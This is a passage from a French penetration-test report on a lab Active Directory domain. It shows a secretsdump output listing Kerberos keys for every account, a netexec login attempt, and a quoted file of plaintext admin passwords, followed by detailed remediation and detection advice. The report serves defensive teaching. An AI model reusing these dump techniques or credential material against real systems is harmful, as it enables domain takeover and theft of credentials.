G6.test\shireen.baratheon:aes256-cts-hmac-sha1-96:b241b9613679de0c89d1282934b5db65c  
7d69dccfa8a9ff8decaa62cf137edba  
G6.test\shireen.baratheon:aes128-cts-hmac-sha1-96:bfc8dfc296f8f05f910658badd76fe4b  
G6.test\shireen.baratheon:des-cbc-md5:e997df6e102c4f0b  
G6.test\davos.seaworth:aes256-cts-hmac-sha1-96:726d3ee1a2f83cb6d9e998984f3f21ab6bf4  
a87eb6c21ed788b1f5aa3d10bc36  
G6.test\davos.seaworth:aes128-cts-hmac-sha1-96:4039222f919db0e6c0d88b526486678d  
G6.test\davos.seaworth:des-cbc-md5:703bdfba1337d3ce  
G6.test\melisandre:aes256-cts-hmac-sha1-96:c926633ee76bd44dd23066d0310a2d2f5b7eb5  
b75a0022734c7a18f39ded2d6d  
G6.test\melisandre:aes128-cts-hmac-sha1-96:002f802c2dc9a667eda1163734ab2d7d  
G6.test\melisandre:des-cbc-md5:642301dc10fea1b0  
G6.test\margaery.tyrell:aes256-cts-hmac-sha1-96:7e289e46430e65247e9ded3753cb507e5bd  
21f451aac49c58c0f5c30cb0028c7  
G6.test\margaery.tyrell:aes128-cts-hmac-sha1-96:157ec9fec06d623552b674cc41a43cee  
G6.test\margaery.tyrell:des-cbc-md5:854f6db33d43a75e  
G6.test\olenna.tyrell:aes256-cts-hmac-sha1-96:51064516d59566f2e70aba0e54d31e375e5ad4  
c6dd552c4c6d29b8b6daecdf87  
G6.test\olenna.tyrell:aes128-cts-hmac-sha1-96:cc2aaa186dc48c362c6c869f1bbafb8e  
G6.test\olenna.tyrell:des-cbc-md5:625de96e7c430dfd  
G6.test\loras.tyrell:aes256-cts-hmac-sha1-96:1bdcc30ee0edb4a3a359f75254c5da14a89d7ea  
382024f9094fc7272df45be39

G6.test\loras.tyrell:aes128-cts-hmac-sha1-96:4278f459dd9d271dbfa59f6d81c6664f  
G6.test\loras.tyrell:des-cbc-md5:f8978a9dc1b55e40  
G6.test\mace.tyrell:aes256-cts-hmac-sha1-96:bd3f2bda3548c535fcc02e62ebb6a4c5ba1f707  
038ff83c771a6b2a23b53613d  
G6.test\mace.tyrell:aes128-cts-hmac-sha1-96:a807fa3103ba246368e05425efc0acce  
G6.test\mace.tyrell:des-cbc-md5:135bd038dfdf19dc  
G6.test\theon.greyjoy:aes256-cts-hmac-sha1-96:cafb8d4e2553802006d7a3d478cf8d2cba2b  
e4fac71b4736b8fd9b39eea48661  
G6.test\theon.greyjoy:aes128-cts-hmac-sha1-96:44d1070d2e8e348459c0d465c908baf6  
G6.test\theon.greyjoy:des-cbc-md5:a12cd53e0d9ea789  
G6.test\euron.greyjoy:aes256-cts-hmac-sha1-96:111a5da8ed7f7e07082cf97c3149460a07afafd  
1d056437913dd6876ae986654  
G6.test\euron.greyjoy:aes128-cts-hmac-sha1-96:f7f0da7ac2c6f98781d1b803129b30d1  
G6.test\euron.greyjoy:des-cbc-md5:b0fbbc61cbbf896d  
G6.test\yara.greyjoy:aes256-cts-hmac-sha1-96:0f810237e5c02fdbec558bdcc27bbceb06efa2f  
81709412f60bcd5f3cd63d609  
G6.test\yara.greyjoy:aes128-cts-hmac-sha1-96:806fdc61c4ac3c5dee77bfd2d23144cc  
G6.test\yara.greyjoy:des-cbc-md5:9e5eae1f8c386e64  
G6.test\balon.greyjoy:aes256-cts-hmac-sha1-96:a06b5dae1ffc0e5cd58ea3d32144d71ffb73126  
91ca41ff013cf8f6bdd049d0f  
G6.test\balon.greyjoy:aes128-cts-hmac-sha1-96:2ff91e58f5ae34b95288abd63d8fe22d  
G6.test\balon.greyjoy:des-cbc-md5:32ec34407667df01  
G6.test\vicarion.greyjoy:aes256-cts-hmac-sha1-96:1cdc43e42a58eedde241c2648b8c1fbba96  
821dca95406f6113e6ccf03ecbfd1  
G6.test\vicarion.greyjoy:aes128-cts-hmac-sha1-96:e61758f6d3c4b04bc8e47ce9d0e59621  
G6.test\vicarion.greyjoy:des-cbc-md5:982fec08e968cba8  
G6.test\oberyn.martell:aes256-cts-hmac-sha1-96:1679cccc08730156f1a16c1ac1c524ec620a83  
eac85f672bb65c2cad02e6aede  
G6.test\oberyn.martell:aes128-cts-hmac-sha1-96:7581ac1c5069d2aa1271834d534ca18b  
G6.test\oberyn.martell:des-cbc-md5:7c70fb91e997f1a4  
G6.test\ellaria.sand:aes256-cts-hmac-sha1-96:627f88824bb667719ccd6db1f7530560f857a9b  
a3c27d539c95d3296abf1d27c  
G6.test\ellaria.sand:aes128-cts-hmac-sha1-96:2fb081a805a36e101d2ab9811a14b14f  
G6.test\ellaria.sand:des-cbc-md5:80a846d357dfc24f  
G6.test\doran.martell:aes256-cts-hmac-sha1-96:2c12941e3a6f0a9ab84b500fe296cb0f5aa4ee  
e6e19bec7911a7bfe28310e2fd  
G6.test\doran.martell:aes128-cts-hmac-sha1-96:2e22f2786e9b95d397f5bf21a156fcef  
G6.test\doran.martell:des-cbc-md5:ba2f9bfb5d0b37b6  
G6.test\trystane.martell:aes256-cts-hmac-sha1-96:9381fbfff110a03801baed59c78bfb3c3f333  
33e0ffa63e3fcc9c1e5b9e858a  
G6.test\trystane.martell:aes128-cts-hmac-sha1-96:f018481691e82bf4a5bf152476ab1afb  
G6.test\trystane.martell:des-cbc-md5:f7eaf7681f318adf  
G6.test\nymeria.sand:aes256-cts-hmac-sha1-96:0613faf88c00f1ef20fe5a7cbdddcffe867e7f32  
00605e1f2d715b6c590f9bd0  
G6.test\nymeria.sand:aes128-cts-hmac-sha1-96:48f5fd34e16adba14f64df4ce6f8cb4c  
G6.test\nymeria.sand:des-cbc-md5:b9d085f89d456bba  
G6.test\samwell.tarly:aes256-cts-hmac-sha1-96:022a5ab61d93d520b1dc9a4735f5a5f0661c97  
1b4f9be096f455fb94fa465479

G6.test\samwell.tarly:aes128-cts-hmac-sha1-96:35d959a494083d3e41de433d82cd2c14  
G6.test\samwell.tarly:des-cbc-md5:32402c9eeae66462  
G6.test\jeor.mormont:aes256-cts-hmac-sha1-96:4c47bc84b06739fb112915ccdca263b37c71d8785ad5b3abdbd21826b6a84178  
G6.test\jeor.mormont:aes128-cts-hmac-sha1-96:0f658de86342706907502c1413f18da1  
G6.test\jeor.mormont:des-cbc-md5:c2ad517a4ac7086b  
G6.test\maester.aemon:aes256-cts-hmac-sha1-96:98f692a2fd8e1c30d4e6bf29aa8d6301462afe4b76e211f09cc2f83fc562fd03  
G6.test\maester.aemon:aes128-cts-hmac-sha1-96:2e726bcfb5b81a7552a7ed92b90e96f7  
G6.test\maester.aemon:des-cbc-md5:b65dba32f23b61bc  
G6.test\alliser.thorne:aes256-cts-hmac-sha1-96:17e8c4616956081b72f06557316f6f7418059b89f3d46c95c12030b7335dd595  
G6.test\alliser.thorne:aes128-cts-hmac-sha1-96:d03be6cd2dfe02514feab61524683c31  
G6.test\alliser.thorne:des-cbc-md5:10fd4a467c452a6e  
G6.test\eddison.tollett:aes256-cts-hmac-sha1-96:cf3c7978222c7aa0916fb0b40c6509fc3c61c6494278105a04efd15aaa94e570  
G6.test\eddison.tollett:aes128-cts-hmac-sha1-96:47ebb1d03074193354e613afd66869be  
G6.test\eddison.tollett:des-cbc-md5:708f431a15b64337  
G6.test\tormund:aes256-cts-hmac-sha1-96:2be9e2c757da5d1320bad75bb73f9a1eeba67a252bfc3f98a57f21b143c5fad6  
G6.test\tormund:aes128-cts-hmac-sha1-96:c45c12ddf12ca22fd04992a01dfd23f7  
G6.test\tormund:des-cbc-md5:f2ad5458ab0d867c  
G6.test\petyr.baelish:aes256-cts-hmac-sha1-96:d5fedd431221b57c76f46345776cd5718cf8b30ff8d092256c2f7eee5619eb28  
G6.test\petyr.baelish:aes128-cts-hmac-sha1-96:25dfe78bc07b32a9f5afbb802570c3b1  
G6.test\petyr.baelish:des-cbc-md5:92077cc2fbbcab9d  
G6.test\varys:aes256-cts-hmac-sha1-96:9fc1f95b6f9bccecbefec08a552434ceaf5d123e95028c2c8b17427ed9ca300  
G6.test\varys:aes128-cts-hmac-sha1-96:61e734008329dd46b02b196eb5d52dbc  
G6.test\varys:des-cbc-md5:d3a801ae1315628f  
G6.test\sandor.clegane:aes256-cts-hmac-sha1-96:6779ef1ca8fa3ca6be02e4876dfb13d953ff022d04800812655e5fca560efa22  
G6.test\sandor.clegane:aes128-cts-hmac-sha1-96:89059c5f935c2ea3cdf140d814de3ba8  
G6.test\sandor.clegane:des-cbc-md5:f7f4ade5925d294c  
G6.test\gregor.clegane:aes256-cts-hmac-sha1-96:47100ec52505d6113ec3b418648e3107320675078bee026046a4dcdf083c4f43  
G6.test\gregor.clegane:aes128-cts-hmac-sha1-96:8f467c379a1ebf95ec97a1c06717776d  
G6.test\gregor.clegane:des-cbc-md5:b37ad664b0abc4c8  
G6.test\bronn:aes256-cts-hmac-sha1-96:ede1b8558bbbd62974067796179dd2084efc5e1f1d095502269f246cec4cf44e  
G6.test\bronn:aes128-cts-hmac-sha1-96:88d8e454d9d07e8e47fb68eab33be63d  
G6.test\bronn:des-cbc-md5:bf2ac4948091f1f2  
G6.test\podrick.payne:aes256-cts-hmac-sha1-96:5c3c6f877ef066a6be4c476be126f0c3792b9eaa1bf03773cd6e0493bc216e0c  
G6.test\podrick.payne:aes128-cts-hmac-sha1-96:78067875f6b4993e454e2fe0d87087ac  
G6.test\podrick.payne:des-cbc-md5:5e07a1fd0292d00e  
G6.test\brienne.tarth:aes256-cts-hmac-sha1-96:923349cd9543099d90983da4b9caf5f32ead5cf8d572dc68c9da1b4acc87ebad



G6.test\brienne.tarth:aes128-cts-hmac-sha1-96:64cb09dbf4c7dbc088d3f50ecadfe54f  
G6.test\brienne.tarth:des-cbc-md5:705b0ed97c989280  
G6.test\gendry:aes256-cts-hmac-sha1-96:c52dbffa7b75e1e41454ce9b2770d7c92247c556fe5  
060884e0e34a7735b4736  
G6.test\gendry:aes128-cts-hmac-sha1-96:5b3ce6ba9626d535ad88b7f2a75e7f2c  
G6.test\gendry:des-cbc-md5:8c5d8979f16bf786  
G6.test\hodor:aes256-cts-hmac-sha1-96:22a5aedc198df8e63f667bcae29762989fbb9976373  
0ceaf170c9b1555981b44  
G6.test\hodor:aes128-cts-hmac-sha1-96:722d754a0661c308e2ae7feee96853e7  
G6.test\hodor:des-cbc-md5:8a58c4e685ef13b6  
G6.test\pycelle:aes256-cts-hmac-sha1-96:48b083e3c0361ae6cfcf526ad26785ad0ead4fb1bfb  
68080692531f052534714  
G6.test\pycelle:aes128-cts-hmac-sha1-96:0a7efcfce5b33775e3eec1f7993b0830  
G6.test\pycelle:des-cbc-md5:3d25fb1649df85e9  
G6.test\qyburn:aes256-cts-hmac-sha1-96:b09d077e242eaaa28dfd15f7a4c7106367e429bf2f9  
a6920ce7fb7c9ad6c13cc  
G6.test\qyburn:aes128-cts-hmac-sha1-96:1b35712a0b9352af1f94524f56741bc4  
G6.test\qyburn:des-cbc-md5:4fc1df3ea70b4691  
G6.test\svc\_dragon:aes256-cts-hmac-sha1-96:7a8d7dade9e310458a47d182b5b24ff1d9e4fc9a  
f143b6e726bebec8a050f4e7  
G6.test\svc\_dragon:aes128-cts-hmac-sha1-96:5ada35f881123bb65191a2ac289eff55  
G6.test\svc\_dragon:des-cbc-md5:6849452f9143318a  
G6.test\svc\_raven:aes256-cts-hmac-sha1-96:11c528032ce6614967472a8e43e6c74237ef39db  
01d83613fa939bfb0896fbbdb  
G6.test\svc\_raven:aes128-cts-hmac-sha1-96:e01634cdf4ba20ea5d8011b4246458aa  
G6.test\svc\_raven:des-cbc-md5:3452eca4fee5a131  
G6.test\svc\_iron:aes256-cts-hmac-sha1-96:abfa6335c67d388a32cceaabcf6e0b322a8f613b71  
b600b5291edd31005761ee  
G6.test\svc\_iron:aes128-cts-hmac-sha1-96:8aef9cd10314996538b24e1b30bb7009  
G6.test\svc\_iron:des-cbc-md5:a24ae9ef37986d58  
G6.test\svc\_wall:aes256-cts-hmac-sha1-96:be01dfce9be8850a0e373647ad5a1c8998cb1148cd  
e398427410b52f4768ddd0  
G6.test\svc\_wall:aes128-cts-hmac-sha1-96:ff7fd407afa6d8bc795a889f750cc1c8  
G6.test\svc\_wall:des-cbc-md5:1625a1b0ade62f6b  
G6.test\svc\_citadel:aes256-cts-hmac-sha1-96:a79d8cea7bc39cd1067d1dc6d8f1db65598b5a0  
f7413570542dae370c1c18a88  
G6.test\svc\_citadel:aes128-cts-hmac-sha1-96:5eb49b038bbc62e6b5a431bcd4ead017  
G6.test\svc\_citadel:des-cbc-md5:613bbfa7b5684632  
G6.test\svc\_oldgods:aes256-cts-hmac-sha1-96:7816869d645382ce85cc590f795366746cace  
a18e2dd212efb89ea2d93f4d36a  
G6.test\svc\_oldgods:aes128-cts-hmac-sha1-96:c96d868530eab8614cfef18224bed96f  
G6.test\svc\_oldgods:des-cbc-md5:5e5b04bf23ce51a7  
G6.test\svc\_ftp:aes256-cts-hmac-sha1-96:7c38b71d12416130958bcb18eec8c1c0c9dc9e67969  
ca6d836bb2978d10425b6  
G6.test\svc\_ftp:aes128-cts-hmac-sha1-96:a15056a6a8c9b4459314bcd99ceaeae2  
G6.test\svc\_ftp:des-cbc-md5:38cdfb4545107667  
G6.test\admin.westeros:aes256-cts-hmac-sha1-96:df3b1eeb8021d587dfa5a7effc049f8af4d3f3  
36ce9eed320f88f02dccc9a7ba

```

G6.test\admin.westeros:aes128-cts-hmac-sha1-96:013899c670b8338ee0bfe2153e071b0a
G6.test\admin.westeros:des-cbc-md5:98b02c02dfe5b920
G6.test\sa_dvwa:aes256-cts-hmac-sha1-96:17d27028b6e2f78d2d1768c06a4001c2c79deb46a
b99d213af442a76e03bf77d
G6.test\sa_dvwa:aes128-cts-hmac-sha1-96:edefb380a5de80db531f5a01e193f25
G6.test\sa_dvwa:des-cbc-md5:bc342a6e9889137c
G6.test\backup_admin:aes256-cts-hmac-sha1-96:f3fce9839f05e6fdad52266b2e3629333fecc
2b4e4e21b2128fd106610a5b646
G6.test\backup_admin:aes128-cts-hmac-sha1-96:c15a398d202a536a547ab825e1a5975b
G6.test\backup_admin:des-cbc-md5:46e323836220582a
G6.test\sql_admin:aes256-cts-hmac-sha1-96:a0046bb26d51a68463cb8dac3af7e10bfe0f3486
030e42ac3c666ed510ebf234
G6.test\sql_admin:aes128-cts-hmac-sha1-96:15ff9bf5c1627d8a961010df33c0e547
G6.test\sql_admin:des-cbc-md5:1564ef75efdc2fba
ADG6$:aes256-cts-hmac-sha1-96:c559bc9ceefeb3e3c9f29fd0874663573e3b1f7fb202ce878
6ba59fcd076a2e8
ADG6$:aes128-cts-hmac-sha1-96:26167d54d3e982ea202eb943273c36c7
ADG6$:des-cbc-md5:98fdecc4ae292352
DESKTOP-K3IUKP1$:aes256-cts-hmac-sha1-96:08e1b17a216eacda4d15c8477a2ee758e00fc41
1b096b92f954ce798a54fcf7c
DESKTOP-K3IUKP1$:aes128-cts-hmac-sha1-96:e299b3242db0c1c4cc0574c4d2c5f0ac
DESKTOP-K3IUKP1$:des-cbc-md5:ba326491cda76875
RTD02$:aes256-cts-hmac-sha1-96:39c90ee204edbe87ca078e080a3bc60c84255956cfb0f1f
7d2ce2601ab692266
RTD02$:aes128-cts-hmac-sha1-96:541eb2456bb778433380aa7a77541afc
RTD02$:des-cbc-md5:3b3b8915dc0eb634
[*] Cleaning up...
[*] Stopping service RemoteRegistry
[-] SCMR SessionError: code: 0x41b - ERROR_DEPENDENT_SERVICES_RUNNING - A stop contr
ol has been sent to a service that other running services are dependent on.
[*] Cleaning up...
[*] Stopping service RemoteRegistry
Exception ignored in: <function Registry.__del__ at 0x7f45f5ee3420>
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 172, in __del__
  File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 169, in close
  File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 409, in close
  File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 633, in closeFile
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB
  File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB
  File "/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, in AES_CMAC
  File "/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new
KeyError: 'Cryptodome.Cipher.AES'
Exception ignored in: <function Registry.__del__ at 0x7f45f5ee3420>
Traceback (most recent call last):
  File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 172, in __del__
  File "/usr/lib/python3/dist-packages/impacket/winregistry.py", line 169, in close

```

```
File "/usr/lib/python3/dist-packages/impacket/examples/secretsdump.py", line 409, in close
File "/usr/lib/python3/dist-packages/impacket/smbconnection.py", line 633, in closeFile
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 1357, in close
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 474, in sendSMB
File "/usr/lib/python3/dist-packages/impacket/smb3.py", line 443, in signSMB
File "/usr/lib/python3/dist-packages/impacket/crypto.py", line 150, in AES_CMAC
File "/usr/lib/python3/dist-packages/Cryptodome/Cipher/AES.py", line 228, in new
KeyError: 'Cryptodome.Cipher.AES'
```

On obtiens tout les hash des administrateurs, des utilisateurs et ordinateurs du domaine.

## VI - Remédiation

### 1. Infrastructure réseau

#### Mettre à jour

- Mettre à jour les services mis en place (SSH comme exemple).

#### Segmentation

- Isoler ses Vlan afin d'empêcher, par exemple, d'accéder à des ressources d'administration depuis un Vlan dédié au personnel. L'intérêt même des Vlan est de segmenter son réseau afin de minimiser les risques en cas d'intrusion dans un réseau.
- Il est possible d'obtenir une adresse IP et d'accéder au réseau dès qu'on se connecte à un port non utilisé. Il serait préférable de désactiver les ports non utilisés afin d'éviter que n'importe qui puisse s'introduire dans le réseau.

#### Filtrage

- Mettre en place des ACLs afin de contrôler précisément certains flux sur le réseau afin de sécuriser l'accès à certains services basiquement.

#### Désactivation de services inutiles

- **Désactiver Smart Install** : Exécuter la commande `no vstack` sur tous les équipements Cisco pour fermer le port 4786 et empêcher l'accès à ce service.
- **Sécuriser HSRP** : Configurer l'authentification MD5 sur toutes les interfaces : `standby authentication md5 key-string [SECRET]` afin d'éviter l'attaque HSRP.
- **Sécuriser TFTP** :
  - **Enlever l'option** `--create` dans les fichiers de configuration de TFTP : Si `-c` est activé, n'importe qui peut remplir votre disque dur en envoyant des fichiers géants ou écraser des fichiers existants.
  - **Ajouter l'option** `--secure` dans les fichiers de configuration de TFTP : l'utilisateur est bloqué dans `/srv/tftp` et ne peut pas "voler" les utilisateurs via `get ../../etc/passwd`.
  - **L'utilisateur** : Le service doit tourner sous l'utilisateur `tftp` (sans droits), et surtout pas `root`.



## 2. Système

### Hardening

#### Mises à jour

```
(kali㉿kali)-[/mnt/hack]
└─$ nxc smb 10.0.2.11 -u Renly.Baratheon -p Rainbow 123 -d G6.test
SMB      10.0.2.11    445  ADG6      [*] Windows 10 / Server 2019 Build 17763 x64 (name:ADG6) (domain:G6.test) (signing:True) (SMBv1:True)
SMB      10.0.2.11    445  ADG6      [-] G6.test\Renly.Baratheon:Rainbow STATUS_LOGON_FAILURE
SMB      10.0.2.11    445  ADG6      [-] G6.test\Renly.Baratheon:123 STATUS_LOGON_FAILURE
```

D'après cette commande on observe que le serveur tourne sur Windows Server 2019 qui a cessé d'être supporté le 9 janv. 2024. Malgré le fait que la date de fin étendue soit prévue pour le 9 janv. 2029 il reste conseillé de passer dorénavant à une version plus récente de Windows Server activement supportée en terme de sécurité.

#### Gestion des secrets

Grâce à l'accès au partage SMB un document contenant des identifiants a été récupéré. Voici un extrait :

```
COMPTES PRIVILEGIES:
-----
- PDG (daenerys.targaryen) : Dracarys123!
  Note: Enterprise Admin - acces total

- DSI (ned.stark) : Winter2019!
  Note: Domain Admin - gestion AD

- DAF (tywin.lannister) : GoldDragon2024
  Note: Acces aux systemes financiers
  Info: Utilise aussi "Gold2024!" sur certains anciens systemes
```

- Au lieu de stocker en clair des identifiants dans le but de les partager il est préférable d'utiliser un gestionnaire de mots de passe.
- De plus, ces mots de passe ne respectent pas les recommandations de l'AINSI. Il faudrait les changer pour de plus robustes.

## 3. Active Directory

### AS-REP

- Priorité haute : Réactiver la pré-authentification Kerberos sur tous les comptes concernés

- Vérifier la légitimité : Certains comptes legacy / applicatifs nécessitent parfois cette option → les isoler dans un OU dédié avec monitoring renforcé.
- Politique de mots de passe : Renforcer (longueur  $\geq 14$  caractères, complexité, interdiction des mots de passe communs).
- Monitoring & détection :
  - Surveiller Event ID 4768 (Kerberos TGT request) avec PreAuthType=0
  - Activer l'audit Kerberos sur les DC
  - Déployer des outils EDR/SIEM (détection de GetNPUsers / Rubeus asreproast)
- Mesures complémentaires :
  - Bloquer RC4 comme type d'encryption Kerberos (forcer AES)
  - Utiliser Protected Users group pour comptes sensibles
  - Réduire la surface d'attaque (supprimer comptes inutiles / legacy)
- Politiques de mots de passe
  - au moins 12 à 14 caractères pour un mot de passe moyen à fort,
  - *au minima* 15 caractères pour un mot de passe fort.

## Kerberoasting

### A. Mesures Immédiates

- **Invalidation du Golden Ticket (Compte `krbtgt`) :**
  - L'attaquant possédant le hash du compte `krbtgt`, il peut générer des tickets valides pendant 10 ans.
  - **Action requise :** Réinitialiser le mot de passe du compte `krbtgt` **deux fois consécutives.**
  - *Pourquoi deux fois ?* Kerberos conserve l'historique du mot de passe précédent pour éviter les interruptions de service. Une double réinitialisation purge cet historique et rend immédiatement invalides tous les Golden Tickets existants.
- **Réinitialisation des comptes compromis :**
  - Forcer le changement de mot de passe pour tous les comptes administrateurs comme par exemple `daenerys.targaryen`.

### B. Sécurisation contre le Kerberoasting

L'attaque initiale a reposé sur la faiblesse des mots de passe des comptes de service.

- **Adoption des gMSA (Group Managed Service Accounts) :**
  - Remplacer les comptes de service standards par des **gMSA**. Ces comptes gèrent automatiquement des mots de passe complexes (120 caractères), aléatoires et changés régulièrement par l'AD, rendant le Kerberoasting impossible.
- **Durcissement des mots de passe (Si gMSA impossible) :**

- Utiliser des mots de passe de plus de **25 caractères** pour les comptes de service. Cela rend le craquage par force brute (Hashcat) mathématiquement irréalisable.
- **Chiffrement Kerberos :**
  - Désactiver le chiffrement RC4 (obsolète et vulnérable) et forcer l'utilisation de l'algorithme **AES-128** ou **AES-256** pour Kerberos.

### C. Surveillance et Détection (SOC)

L'attaque a généré du bruit qui aurait pu être détecté.

- **Détection du Kerberoasting :**
  - Configurer une alerte SIEM sur l'événement Windows **ID 4769** (Demande de ticket de service) lorsqu'il inclut un chiffrement RC4 ( **0x17** ) ou lorsqu'un seul utilisateur demande un grand nombre de tickets TGS en un temps très court.
- **Détection du DCSync :**
  - Surveiller l'utilisation du privilège *DS-Replication-Get-Changes* (DCSync) provenant d'une IP qui n'est pas un Contrôleur de Domaine connu.
- **Renforcement Endpoint (EDR) :**
  - L'antivirus actuel (Windows Defender) a bloqué l'exécution finale mais pas l'intrusion. Un EDR (Endpoint Detection & Response) aurait permis de détecter et bloquer les mouvements latéraux (NetExec/PsExec) et l'injection de tickets en mémoire.

### Total Domain Compromise

- Reset krbtgt deux fois de suite (le plus vite possible)
- Déconnexion forcée massive des sessions Kerberos
- Mise en quarantaine réseau du/des DC (ou filtrage très agressif 445, 389, 636, 3268, 3269, 88 depuis les postes de travail)
- Sauvegarde complète de l'état actuel (pour forensics)
- Changer TOUS les mots de passe des comptes privilégiés manuellement (Administrateur, comptes de service critiques, comptes de backup, comptes SQL, etc.)
- Identifier et désactiver les comptes de démo / anciens / inutiles (tous les Stark, Lannister, Targaryen...)
- Vérifier l'absence de nouveaux comptes / droits ajoutés récemment
- Changer prog
- renaissance le reste des mots de passe (par vagues, par OU)
- Mettre en place Tiering Model (si pas déjà fait) → séparer les comptes admin des postes de travail normaux
- Restreindre très fortement les droits d'ouverture à distance sur les DC (Remote Registry, SAMR, etc.)
- Passage aux comptes de service gérés (gMSA)
- Déploiement LAPS 2.0

- Privileged Access Management (CyberArk, BeyondTrust, etc.)
- Migration vers l'authentification moderne (phishing-resistant : FIDO2, certificat, etc.)

---

*Rapport rédigé par : DUBOC Romain, LE GOFF Rémi, RAVELOSON Ho Koloïna, RIBARDIERE Julien, VIGNEUX Florian*

*Date : 15/01/2026*